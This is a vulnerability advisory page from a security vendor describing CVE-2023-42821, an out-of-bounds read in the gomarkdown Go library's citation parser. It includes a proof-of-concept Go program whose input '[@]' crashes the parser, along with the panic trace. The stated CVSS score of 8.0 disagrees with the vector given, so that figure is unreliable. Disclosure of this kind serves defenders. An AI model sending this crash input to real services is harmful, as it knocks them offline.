Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2023-42821 — markdown

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-125 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Markdown vulnerable to Out-of-bounds Read while parsing citations

Summary

Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.

Details

To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.

https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69

PoC

```go

package main

import (

"github.com/gomarkdown/markdown"

"github.com/gomarkdown/markdown/parser"

)

func main() {

ext := parser.CommonExtensions |

parser.Attributes |

parser.OrderedListStart |

parser.SuperSubscript |

parser.Mmark

p := parser.NewWithExtensions(ext)

inp := []byte("[@]")

markdown.ToHTML(inp, p, nil)

}

```

```bash

$ go run main.go

panic: runtime error: index out of range [1] with length 1

goroutine 1 [running]:

github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)

/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/citation.go:69 +0x544

github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)

/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:308 +0x1c0

github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})

/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:38 +0xb8

github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)

/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:307 +0x8c

github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)

/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:574 +0x38

github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})

/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:546 +0x58

github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})

/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:557 +0x144

github.com/gomarkdown/markdown/ast.WalkFunc(...)

/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:580

github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})

/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:304 +0x16c

github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)

/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:53 +0x6c

github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})

/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:77 +0x30

main.main()

/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c

exit status 2

```

Impact

Denial of Service / panic

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2023-42821 is classified as CWE-125: Out-of-bounds Read. The code reads past the limits of a buffer, exposing adjacent memory contents or crashing the process.

Affected software

CVE-2023-42821 is recorded against 2 packages.

  • github.com/gomarkdown/markdown
  • markdown

Timeline and source

Published on 22 September 2023 and last revised on 20 May 2024. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Advisory)
github.com (Fix)

Other advisories for this package

github.com/gomarkdown/markdown has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-125: Out-of-bounds Read) in other software:

CVE-2023-42821 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-125
Public Exploit ✅ No
Source NVD
Published 2023-09-22
Updated 2026-08-20
Modified 2024-05-20

Affected Packages

Software From version Fixed in
github.com/gomarkdown/markdown — —
markdown — —

Similar Threats

Site Security Check

Is markdown part of your stack?

CVE-2023-42821 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2023
✓